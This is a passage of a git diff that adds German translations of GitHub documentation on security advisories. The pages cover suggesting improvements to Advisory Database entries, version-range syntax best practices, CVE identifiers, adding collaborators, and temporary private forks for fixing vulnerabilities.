+{% ifversion fpt or ghec %} Nur Repositorybesitzer und Administratoren können Sicherheitsempfehlungen auf Repositoryebene bearbeiten. Weitere Informationen findest du unter [Bearbeiten einer Sicherheitsempfehlung für ein Repository](/code-security/security-advisories/editing-a-security-advisory).{% endif %}
+
+
+1. Navigiere zu https://github.com/advisories.
+1. Wähle den Sicherheitshinweis aus, zu dem du beitragen möchtest.
+1. Klicke auf der rechten Seite der Seite auf den Link **Verbesserungen für dieses Sicherheitsrisiko vorschlagen**.
+   
+   ![Screenshot: Link „Verbesserungen vorschlagen“](/assets/images/help/security/suggest-improvements-to-advisory.png)
+
+1. Nimm im Formular „Sicherheitsempfehlung verbessern“ die gewünschten Verbesserungen vor. Du kannst alle Details bearbeiten oder hinzufügen.{% ifversion fpt or ghec %} Weitere Informationen zur korrekten Angabe der Informationen im Formular findest du unter [Best Practices für das Schreiben von Sicherheitsempfehlungen für Repositorys](/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories).{% endif %}{% ifversion security-advisories-reason-for-change %}
+1. Erläutere unter **Änderungsgrund**, warum du diese Verbesserung vornehmen möchtest. Links zu unterstützenden Materialien helfen unseren Reviewer*innen.
+   
+   ![Screenshot: Feld „Änderungsgrund“](/assets/images/help/security/security-advisories-suggest-improvement-reason.png){% endif %}
+
+1. Wenn die Bearbeitung des Hinweises abgeschlossen ist, klicke auf **Verbesserungen übermitteln**.
+1. Nach dem Übermitteln der Verbesserungen wird ein Pull Request mit deinen Änderungen zur Überprüfung in [github/advisory-database](https://github.com/github/advisory-database) durch das {% data variables.product.prodname_security %}-Kuratorenteam erstellt. Wenn der Hinweis aus einem {% data variables.product.prodname_dotcom %}-Repository stammt, wird zudem der ursprüngliche Herausgeber für optionale Kommentare markiert. Du kannst den Pull Request anzeigen und Benachrichtigungen erhalten, wenn er aktualisiert oder geschlossen wird.
+
+Du kannst einen Pull Request auch direkt für eine Hinweisdatei im Repository [github/advisory-database](https://github.com/github/advisory-database) öffnen. Weitere Informationen findest du in den [Beitragsrichtlinien](https://github.com/github/advisory-database/blob/main/CONTRIBUTING.md). 
+
+{% ifversion security-advisories-ghes-ghae %}
+## Bearbeiten von Empfehlungen von {% data variables.location.product_location %}
+
+Wenn du {% data variables.product.prodname_github_connect %} für {% data variables.location.product_location %} aktiviert hast, kannst du Empfehlungen einsehen, indem du `/advisories` zur Instanz-URL hinzufügst. 
+
+1. Navigiere zu `https://HOSTNAME/advisories`.
+2. Wähle den Sicherheitshinweis aus, zu dem du beitragen möchtest.
+3. Klicke rechts auf der Seite auf den Link **Verbesserungen für dieses Sicherheitsrisiko auf {% data variables.product.prodname_dotcom_the_website %} vorschlagen**. . Es öffnet sich eine neue Registerkarte mit derselben Sicherheitsempfehlung auf {% data variables.product.prodname_dotcom_the_website %}.
+![Link „Verbesserungen vorschlagen“](/assets/images/help/security/suggest-improvements-to-advisory-on-github-com.png)
+4. Bearbeite die Empfehlung, indem du die Schritte 4 bis 6 unter [Bearbeiten von Hinweisen in GitHub Advisory Database](#editing-advisories-in-the-github-advisory-database) befolgst.
+{% endif %}
diff --git a/translations/de-DE/content/code-security/security-advisories/global-security-advisories/index.md b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/index.md
new file mode 100644
index 0000000000..e7b2482248
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/index.md
@@ -0,0 +1,27 @@
+---
+title: Arbeiten mit globalen Sicherheitsempfehlungen aus GitHub Advisory Database
+shortTitle: Global security advisories
+intro: 'Du kannst {% data variables.product.prodname_advisory_database %} durchsuchen und Verbesserungen für jede globale Sicherheitsempfehlung vorschlagen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Repositories
+  - CVEs
+children:
+  - /about-the-github-advisory-database
+  - /about-global-security-advisories
+  - /browsing-security-advisories-in-the-github-advisory-database
+  - /editing-security-advisories-in-the-github-advisory-database
+ms.openlocfilehash: ff0ba15abd3a404cbdb8ce97347d8dd5a4090280
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114029'
+---
+
diff --git a/translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md b/translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md
new file mode 100644
index 0000000000..2c6a85f609
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md
@@ -0,0 +1,94 @@
+---
+title: Best Practices zum Schreiben von Sicherheitsempfehlungen für Repositorys
+intro: 'Wenn du Sicherheitsempfehlungen erstellst oder bearbeitest, sind die bereitgestellten Informationen für andere Benutzer*innen einfacher zu verstehen, wenn du das Ökosystem, den Paketnamen und die betroffenen Versionen in den gängigen Formaten angibst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+miniTocMaxHeadingLevel: 3
+topics:
+  - Security advisories
+  - Vulnerabilities
+shortTitle: Best practices
+redirect_from:
+  - /code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories
+ms.openlocfilehash: af1ab76e13f44f5b319cd560e1ae0aa3081742dc
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114066'
+---
+Alle Benutzer*innen mit Administratorberechtigungen für ein Repository können Sicherheitsempfehlungen erstellen und bearbeiten.
+
+{% data reusables.security-advisory.security-researcher-cannot-create-advisory %}
+
+## Informationen zu Sicherheitsempfehlungen für Repositorys
+
+{% data reusables.security-advisory.security-advisory-overview %} Weitere Informationen findest du unter [Informationen zu Sicherheitsempfehlungen für Repositorys](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories).
+
+## Bewährte Methoden
+
+Beim Schreiben einer Sicherheitsempfehlung oder bei Beiträgen zu einer globalen Sicherheitsempfehlung wird empfohlen, die in {% data variables.product.prodname_advisory_database %} verwendete Syntax zu übernehmen, insbesondere die Versionsformatierung.
+
+Die Verwendung der Syntax für {% data variables.product.prodname_advisory_database %} hat die folgenden Vorteile, insbesondere bei der Angabe betroffener Versionen:
+- Wenn du die Repositoryempfehlung veröffentlichst, können wir diese zu {% data variables.product.prodname_advisory_database %} mit der Bezeichnung „Von {% data variables.product.company_short %} geprüft“ hinzufügen, ohne dich um weitere Informationen zu bitten.
+- {% data variables.product.prodname_dependabot %} verfügt über die nötigen Informationen, um betroffene Repositorys präzise zu ermitteln und diese an {% data variables.product.prodname_dependabot_alerts %} zu übermitteln, um Benachrichtigungen zu senden.
+- Communitymitglieder schlagen weniger wahrscheinlich Änderungen an deiner Empfehlung vor, um fehlende oder falsche Informationen zu korrigieren.
+
+Du kannst eine Repositoryempfehlung mithilfe des Formulars _Sicherheitsempfehlung entwerfen_ hinzufügen oder bearbeiten. Weitere Informationen findest du unter [Erstellen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/creating-a-repository-security-advisory). 
+
+Verbesserung an einer vorhandenen globalen Empfehlung kannst du über das Formular _Sicherheitsempfehlung verbessern_ vorschlagen. Weitere Informationen findest du unter [Bearbeiten von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database).
+
+### Ökosystem
+
+Du musst die Empfehlung einem unserer unterstützten Ökosysteme zuweisen, indem du das Feld **Ökosystem** ausfüllst. Weitere Informationen zu den unterstützten Ökosystemen findest du unter [Durchsuchen von Sicherheitsempfehlungen in der {% data variables.product.prodname_advisory_database %}](/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database#github-reviewed-advisories).
+
+![Screenshot mit hervorgehobenem Feld „Ökosystem“ im Formular](/assets/images/help/security/security-advisory-ecosystem.png)
+
+### Paketname
+
+Du solltest das Feld **Paketname** verwenden, um anzugeben, welche Pakete betroffen sind. Diese Paketinformationen sind für Empfehlungen mit der Bezeichnung „Von {% data variables.product.company_short %} geprüft“ in {% data variables.product.prodname_advisory_database %} erforderlich. Paketinformationen sind für Sicherheitsempfehlungen auf Repositoryebene optional, aber das frühzeitige Angeben dieser Informationen vereinfacht den Überprüfungsprozess, wenn du Sicherheitsempfehlungen veröffentlichst.
+
+![Screenshot mit hervorgehobenem Feld „Paketname“ im Formular](/assets/images/help/security/security-advisory-package-name.png)
+
+### Betroffene Versionen
+
+Du solltest das Feld **Betroffene Versionen** verwenden, um anzugeben, welche Versionen betroffen sind. Diese Informationen sind für Empfehlungen mit der Bezeichnung „Von {% data variables.product.company_short %} geprüft“ in {% data variables.product.prodname_advisory_database %} erforderlich. Versionsinformationen sind für Sicherheitsempfehlungen auf Repositoryebene optional, aber das frühzeitige Angeben dieser Informationen vereinfacht den Überprüfungsprozess, wenn du Sicherheitsempfehlungen veröffentlichst.
+
+![Screenshot mit hervorgehobenem Feld „Betroffene Versionen“ im Formular](/assets/images/help/security/security-advisory-affected-versions.png)
+
+- Eine gültige Zeichenfolge für betroffene Versionen besteht aus einem der folgenden Elemente:
+   - Einer Operatorsequenz für die Untergrenze
+   - Einer Operatorsequenz für die Obergrenze
+   - Einer Operatorsequenz für die Unter- und Obergrenze
+   - Einer speziellen Versionssequenz mit dem Gleichheitsoperator (`=`)
+- Jede Operatorsequenz muss im Format „Operator, einzelnes Leerzeichen, Version“ angegeben werden.
+   - Gültige Operatoren sind `=`, `<`, `<=`, `>` oder `>=`.
+   - Die Version muss mit einer Zahl beginnen, gefolgt von einer beliebigen Anzahl von Zahlen, Buchstaben, Punkten, Bindestrichen oder Unterstrichen (alles, was kein Leerzeichen oder Komma ist).
+   - Wenn eine Sequenz für die Unter- und Obergrenze angegeben wird, muss die Untergrenze zuerst stehen, gefolgt von einem Komma und einem einzelnen Leerzeichen. Dann folgt die Obergrenze.
+   {% note %}
+
+   **Hinweis:** Die Zeichenfolgen für betroffene Versionen dürfen keine führenden oder nachgestellten Leerzeichen enthalten.
+
+   {% endnote %}
+
+- Operatoren für die Obergrenze können inklusiv oder exklusiv sein, also `<=` oder `<`.
+- Operatoren für die Untergrenze können inklusiv oder exklusiv sein, also `>=` oder `>`. Wenn du deine Repositoryempfehlung veröffentlichst und wir diese zu einer globalen Empfehlung hochstufen, gilt jedoch eine andere Regel: Zeichenfolgen für die Untergrenze dürfen nur inklusiv (also `>=`) sein. Der exklusive Operator für die Untergrenze (`>`) ist nur zulässig, wenn die Version `0` lautet, also zum Beispiel `> 0`.
+
+  {% note %}
+
+  **Hinweise:** Die Einschränkung für die Untergrenze...
+   - besteht aufgrund von Inkompatibilitäten mit dem OSV-Schema (Open Source Vulnerability).
+   - gilt nur, wenn ein Vorschlag für eine vorhandene Empfehlung in {% data variables.product.prodname_advisory_database %} eingereicht wird.
+
+  {% endnote %}
+
+- Du kannst in einem Feld nicht mehrere betroffene Versionsbereiche angeben, zum Beispiel `> 2.0, < 2.3, > 3.0, < 3.2`. Um mehr als einen Bereich anzugeben, musst du für jeden Bereich einen neuen Abschnitt **Betroffene Produkte** erstellen. Klicke hierfür auf **+ Weiteres betroffenes Produkt hinzufügen**.
+
+  ![Screenshot: Schaltfläche zum Hinzufügen mehrerer betroffener Versionsbereiche](/assets/images/help/security/security-advisory-add-another-affected-product.png)
+ - Wenn der betroffene Versionsbereich nur eine Ober- oder Untergrenze enthält:
+   - Der implizite Wert ist immer `> 0`, wenn die Untergrenze nicht explizit angegeben ist.
+   - Der implizite Wert ist immer unendlich, wenn die Obergrenze nicht explizit angegeben wird.
+
+Weitere Informationen zu {% data variables.product.prodname_advisory_database %} findest du unter [https://github.com/github/advisory-database](https://github.com/github/advisory-database).
diff --git a/translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md b/translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md
new file mode 100644
index 0000000000..7c5efb21b7
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md
@@ -0,0 +1,25 @@
+---
+title: Leitfaden zum Melden von Sicherheitsrisiken und zum und Formulieren der Informationen
+shortTitle: Guidance on reporting and writing
+intro: Hier findest du Best Practices für das Schreiben von Sicherheitsempfehlungen und das Verwalten privat gemeldeter Sicherheitsrisiken.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Repositories
+  - CVEs
+children:
+  - /about-coordinated-disclosure-of-security-vulnerabilities
+  - /best-practices-for-writing-repository-security-advisories
+  - /privately-reporting-a-security-vulnerability
+  - /managing-privately-reported-security-vulnerabilities
+ms.openlocfilehash: 14efd02206d899ab62ad3b03a538f75088afaa18
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158837'
+---
+
diff --git a/translations/de-DE/content/code-security/security-advisories/index.md b/translations/de-DE/content/code-security/security-advisories/index.md
new file mode 100644
index 0000000000..de38447408
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/index.md
@@ -0,0 +1,26 @@
+---
+title: Arbeiten mit Sicherheitsempfehlungen
+shortTitle: Security advisories
+intro: 'Hier erfährst du, wie du mit Sicherheitsempfehlungen in {% data variables.product.prodname_dotcom %} arbeitest,{% ifversion fpt or ghec %} unabhängig davon, ob du zu einer bestehenden globalen Empfehlung beitragen oder selbst eine Sicherheitsempfehlung für ein Repository erstellen möchtest,{% endif %} um die Zusammenarbeit zwischen Repositoryverwalter*innen und Sicherheitsforscher*innen zu verbessern.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Repositories
+  - CVEs
+children:
+  - /global-security-advisories
+  - /repository-security-advisories
+  - /guidance-on-reporting-and-writing
+ms.openlocfilehash: a42c57006a05bd1fffc09c8241d22eddc67ed8f1
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114054'
+---
+
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md
new file mode 100644
index 0000000000..8845d1a3a8
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md
@@ -0,0 +1,67 @@
+---
+title: Informationen zu Sicherheitsempfehlungen für Repositorys
+intro: 'Mit Sicherheitsempfehlungen für Repositorys können Informationen zu Sicherheitsrisiken in deinem Repository privat diskutiert, behoben und veröffentlicht werden.'
+shortTitle: About repository security advisories
+redirect_from:
+  - /articles/about-maintainer-security-advisories
+  - /github/managing-security-vulnerabilities/about-maintainer-security-advisories
+  - /github/managing-security-vulnerabilities/about-github-security-advisories
+  - /code-security/security-advisories/about-github-security-advisories
+  - /code-security/repository-security-advisories/about-github-security-advisories-for-repositories
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - CVEs
+ms.openlocfilehash: 562969ec29feda0901b79f8b6e2cb9cdb390ea56
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158821'
+---
+{% data reusables.repositories.security-advisory-admin-permissions %}
+
+{% data reusables.security-advisory.security-researcher-cannot-create-advisory %}
+
+## Informationen zu Sicherheitsempfehlungen für Repositorys
+
+{% data reusables.security-advisory.disclosing-vulnerabilities %} Weitere Informationen findest du unter [Informationen zur koordinierten Offenlegung von Sicherheitsrisiken](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities).
+
+{% data reusables.security-advisory.security-advisory-overview %}
+
+Sicherheitsempfehlungen für Repositorys bieten die folgenden Vorteile:
+
+1. Einen Entwurf für einen Sicherheitshinweis erstellen und den Entwurf benutzen, um die Auswirkung der Schwachstelle auf Dein Projekt privat zu diskutieren. Weitere Informationen findest du unter [Erstellen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/creating-a-repository-security-advisory).
+2. Privat mit anderen zusammenarbeiten, um die Schwachstelle in einem temporären privaten Fork zu beheben.
+3. Veröffentliche den Sicherheitshinweis, um deine Community auf das Sicherheitsrisiko aufmerksam zu machen, sobald ein Patch veröffentlicht wurde. Weitere Informationen findest du unter [Veröffentlichen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/publishing-a-repository-security-advisory).
+
+{% data reusables.repositories.security-advisories-republishing %}
+
+Du kannst Personen, die zu einem Sicherheitshinweis beigetragen haben, eine Gutschrift gewähren. Weitere Informationen findest du unter [Bearbeiten eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories).
+
+{% data reusables.repositories.security-guidelines %}
+
+Wenn du einen Sicherheitshinweis in deinem Repository erstellt hast, bleibt der Sicherheitshinweis in deinem Repository. Wir veröffentlichen Sicherheitshinweise für alle Ökosysteme, die von dem Abhängigkeitsdiagramm der {% data variables.product.prodname_advisory_database %} auf [github.com/advisories](https://github.com/advisories) unterstützt werden. Jeder kann eine Änderung an einem in der {% data variables.product.prodname_advisory_database %} veröffentlichten Hinweis vornehmen. Weitere Informationen findest du unter [Bearbeiten von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database).
+
+Spezielle Sicherheitshinweise für npm veröffentlichen wir auch in den npm-Sicherheitshinweisen. Weitere Informationen findest du unter [npmjs.com/advisories](https://www.npmjs.com/advisories).
+
+{% data reusables.repositories.github-security-lab %}
+
+## CVE-Identifikationsnummern
+
+{% data variables.product.prodname_security_advisories %} basiert auf der Grundlage der 'Common Vulnerabilities and Exposures (CVE)'-Liste (Liste der häufigsten Schwachstellen und Gefährdungen). Das Formular für den Sicherheitshinweis auf {% data variables.product.prodname_dotcom %} ist ein standardisiertes, dem CVE-Beschreibungsformat entsprechendes Formular. 
+
+{% data variables.product.prodname_dotcom %} ist eine 'CVE Numbering Authority (CNA)' (Nummerierungsautorität ) und ist berechtigt, CVE-Identifikationsnummern zuzuweisen. Weitere Informationen findest du auf der CVE-Website unter [Informationen zu CVE](https://www.cve.org/About/Overview) und [CVE-Nummerierungsstellen](https://www.cve.org/ProgramOrganization/CNAs).
+
+Wenn Du einen Sicherheitshinweis für ein öffentliches Repository auf {% data variables.product.prodname_dotcom %} erstellst, hast Du die Möglichkeit, eine vorhandene CVE-Identifikationsnummer für die Sicherheitslücke beizufügen. {% data reusables.repositories.request-security-advisory-cve-id %}
+
+Sobald du den Sicherheitshinweis veröffentlicht hast und {% data variables.product.prodname_dotcom %} dem Sicherheitsrisiko eine CVE-Identifikationsnummer zugewiesen hat, veröffentlicht {% data variables.product.prodname_dotcom %} die CVE-Nummer in der MITRE-Datenbank.
+Weitere Informationen findest du unter [Veröffentlichen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/publishing-a-repository-security-advisory).
+
+## {% data variables.product.prodname_dependabot_alerts %} für veröffentlichte Sicherheitshinweise
+
+{% data reusables.repositories.github-reviews-security-advisories %}
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md
new file mode 100644
index 0000000000..190b919243
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md
@@ -0,0 +1,51 @@
+---
+title: Hinzufügen eines Mitarbeiters zu einem Repository-Sicherheitshinweis
+intro: 'Du kannst andere Benutzer oder Teams hinzufügen, damit sie mit Dir an einem Sicherheitshinweis zusammenarbeiten.'
+redirect_from:
+  - /articles/adding-a-collaborator-to-a-maintainer-security-advisory
+  - /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-maintainer-security-advisory
+  - /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-security-advisory
+  - /code-security/security-advisories/adding-a-collaborator-to-a-security-advisory
+  - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Collaboration
+shortTitle: Add collaborators
+ms.openlocfilehash: d080fa5d7b66d9ce89b7985f689133e52ec69cc3
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114050'
+---
+Personen mit Administratorberechtigungen für einen Sicherheitshinweis können Mitarbeiter zu Sicherheitshinweisen hinzufügen.
+
+{% data reusables.security-advisory.repository-level-advisory-note %}
+
+## Einen Mitarbeiter zu einem Sicherheitshinweis hinzufügen
+
+Mitarbeiter haben Schreibberechtigungen für den Sicherheitshinweis. Weitere Informationen findest Du unter „[Berechtigungsstufen für Repository-Sicherheitshinweise](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories).“
+
+{% note %}
+
+{% data reusables.repositories.security-advisory-collaborators-public-repositories %} Weitere Informationen zum Entfernen eines Mitarbeiters aus einem Sicherheitshinweis findest Du unter „[Entfernen eines Mitarbeiters aus einem Repository-Sicherheitshinweis](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory).“
+
+{% endnote %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, zu dem Du einen Mitarbeiter hinzufügen möchtest.
+5. Gib auf der rechten Seite unter "Collaborators" (Mitarbeiter) den Namen des Benutzers oder Teams ein, das Du dem Sicherheitshinweis hinzufügen möchtest.
+  ![Feld zum Eingeben von Benutzer- oder Teamnamen](/assets/images/help/security/add-collaborator-field.png)
+6. Klicken Sie auf **Hinzufügen**.
+  ![Schaltfläche „Hinzufügen“](/assets/images/help/security/security-advisory-add-collaborator-button.png)
+
+## Weiterführende Themen
+
+- „[Berechtigungsstufen für Repository-Sicherheitshinweise](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories)“
+- „[Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)“
+- „[Einen Mitarbeiter aus einem Repository-Sicherheitshinweis entfernen](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory).“
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md
new file mode 100644
index 0000000000..e0aea6f9aa
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md
@@ -0,0 +1,91 @@
+---
+title: 'Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben'
+intro: 'Du kannst einen temporären privaten Fork erstellen, um privat an der Behebung einer Sicherheitslücke in Deinem Repository zusammenzuarbeiten.'
+redirect_from:
+  - /articles/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
+  - /github/managing-security-vulnerabilities/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
+  - /code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
+  - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Collaboration
+  - Forks
+shortTitle: Temporary private forks
+ms.openlocfilehash: c5d4f5f8b58498f995a473b4c0c0f3c38ea96083
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114046'
+---
+{% data reusables.security-advisory.repository-level-advisory-note %}
+
+## Voraussetzungen
+
+Bevor Du in einem temporären privaten Fork zusammenarbeiten kannst, musst Du einen Entwurf des Sicherheitshinweises erstellen. Weitere Informationen findest du unter [Erstellen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/creating-a-repository-security-advisory).
+
+## Einen temporären privaten Fork erstellen
+
+Jeder, der über Administratorberechtigungen für einen Sicherheitshinweis verfügt, kann einen temporären privaten Fork erstellen.
+
+Um Informationen zu Schwachstellen zu schützen, können Integrationen, darunter auch CI, nicht auf temporäre private Forks zugreifen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, in dem Du einen temporären privaten Fork erstellen möchtest.
+  ![Sicherheitshinweis in der Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Klicke auf **Neuer temporärer privater Fork**.
+  ![Schaltfläche „Neuer temporärer privater Fork“](/assets/images/help/security/new-temporary-private-fork-button.png)
+
+## Mitarbeiter zu einem temporären privaten Fork hinzufügen
+
+Personen mit Administratorberechtigungen für einen Sicherheitshinweis können zusätzliche Mitarbeiter zum Hinweis hinzufügen, und Mitarbeiter auf dem Sicherheitshinweis können auf den temporären privaten Fork zugreifen. Weitere Informationen findest du unter [Hinzufügen eines Mitarbeiters zu einem Repositorysicherheitshinweis](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory).
+
+## Änderungen an einem temporären privaten Fork vornehmen
+
+Jeder, der Schreibzugriff auf einen Sicherheitshinweis hat, kann Änderungen an einem temporären privaten Fork vornehmen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, zu dem Du Änderungen hinzufügen möchtest.
+  ![Sicherheitshinweis in der Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Füge Deine Änderungen auf {% data variables.product.product_name %} oder lokal hinzu:
+   - Um Änderungen auf {% data variables.product.product_name %} hinzuzufügen, klicke unter „Änderungen diesem Hinweis hinzufügen“ auf **den temporären privaten Fork**. Erstelle dann einen neuen Branch, und bearbeite die Dateien. Weitere Informationen findest du unter [Erstellen und Löschen von Branches innerhalb deines Repositorys](/articles/creating-and-deleting-branches-within-your-repository) und [Bearbeiten von Dateien](/repositories/working-with-files/managing-files/editing-files).
+   - Um Änderungen lokal hinzuzufügen, folge den Anweisungen unter „Clone and create a new branch" (Klone und erstelle einen neuen Branch) und „Make your changes, then push" (Änderungen vornehmen, dann übertragen).
+   ![Feld „Änderungen diesem Hinweis hinzufügen“](/assets/images/help/security/add-changes-to-this-advisory-box.png)
+
+## Einen Pull Request von einem temporären privaten Fork erstellen
+
+Jeder, der Schreibzugriff auf einen Sicherheitshinweis hat, kann einen Pull Request von einem temporären privaten Fork erstellen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, in dem Du einen Pull Request erstellen willst.
+  ![Sicherheitshinweis in der Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Klicke rechts neben dem Branchnamen auf **Vergleichen & Pull Request**.
+  ![Schaltfläche „Vergleichen & Pull Request“](/assets/images/help/security/security-advisory-compare-and-pr.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %}
+
+{% data reusables.repositories.merge-all-pulls-together %} Weitere Informationen findest du unter [Zusammenführen von Änderungen in einem Sicherheitshinweis](#merging-changes-in-a-security-advisory).
+
+## Änderungen in einem Sicherheitshinweis zusammenführen
+
+Jeder, der Administratorberechtigungen für einen Sicherheitshinweis hat, kann Änderungen im Hinweis zusammenführen.
+
+{% data reusables.repositories.merge-all-pulls-together %}
+
+Bevor Du Änderungen in einem Sicherheitshinweis zusammenführen kannst, muss jeder offene Pull Request in der temporären privaten Fork zusammenführbar sein. Es dürfen keine Mergekonflikte vorliegen, und die Branch-Schutzanforderungen müssen erfüllt sein. Um Informationen zu Schwachstellen zu schützen, sind Statuschecks auf Pull Requests in temporären privaten Forks nicht ausführbar. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/articles/about-protected-branches).
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis mit den Änderungen, die Du zusammenführen möchtest.
+  ![Sicherheitshinweis in der Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Um alle geöffneten Pull Requests im temporären privaten Fork zu mergen, klicke auf **Pull Requests mergen**.
